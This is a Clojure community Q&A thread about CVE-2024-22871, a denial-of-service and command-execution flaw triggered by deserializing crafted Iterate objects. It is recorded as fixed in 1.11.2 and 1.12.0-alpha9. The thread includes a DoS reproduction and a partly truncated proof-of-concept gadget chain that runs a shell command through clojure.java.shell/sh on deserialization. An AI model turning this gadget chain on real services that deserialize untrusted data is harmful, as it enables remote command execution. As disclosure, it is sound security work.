Welcome! Please see the About page for a little more info on how this works.

0 votes
in Clojure by
closed by

Reporting Vulnerabilities

In org.clojure:clojure, there are some vulnerabilities as following:
- Denial of service attack ( clojure version 1.2.0 - 1.12.0 )


Command Injection

Note that no additional components are required for this vulnerability.

RCE CallGraph in 1.12.0-a5

- CVE-2024-22871

closed with the note: Released in Clojure 1.11.2 and 1.12.0-alpha9
As discussed below, DOS attacks may affect 1.2.0-1.12.0, and command execution with local verification may affect 1.9.0-1.12.0
In my opinion, several current problems are similar to the situation below, but are new ways of bypassing.

edited by
I don't get it, what does clojure have to do with it if it's all java?

upd: Am I understanding correctly that you can implement the same in java without clojure?
Not done correctly, the function call graph is partially dependent on clojure, such as apply, RestFn, etc. $fn_5920 can be obtained in Clojure by accessing anonymous function classes to execute commands in versions 1.9.0-1.12.0 (in clojure version poc).

1 Answer

+2 votes
selected by
Best answer

Using ObjectInputStream on untrusted data is inherently dangerous, as the docs of the class say themselves. Why would a showcase of the dangers of that class be considered a vulnerability in the JAR that supplies some of the used classes?

An easier way to reproduce for future readers:

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
edited by
Another way to generate a command execution attack

(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "Writing is done. Reading...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))

  ;; 调用 main 函数
It should be noted that after just setting 'fn start (ns-resolve 'clojure.java.shell 'sh)', it can affect version 1.9.0 - 1.12.0, and it can also implement command execution.
Not sure what you mean by your last comment. The `sh` function in the `clojure.java.shell` namespace is used to shell out and run commands, so of course you can run stuff with it. The command execution mechanism still relies on the way the `Iterate` class implements its hashing.
This is because I used process $ start in the previous version, but unfortunately this is a new function introduced in 1.12.0 ; later, check the project, found that you can directly use the shell function to run the command directly. Yes, the problem still appears in the hash calculation of the Iterate class.
This issue has been fixed in Iterate hashCode() in 1.11.2 and 1.12.0-alpha9.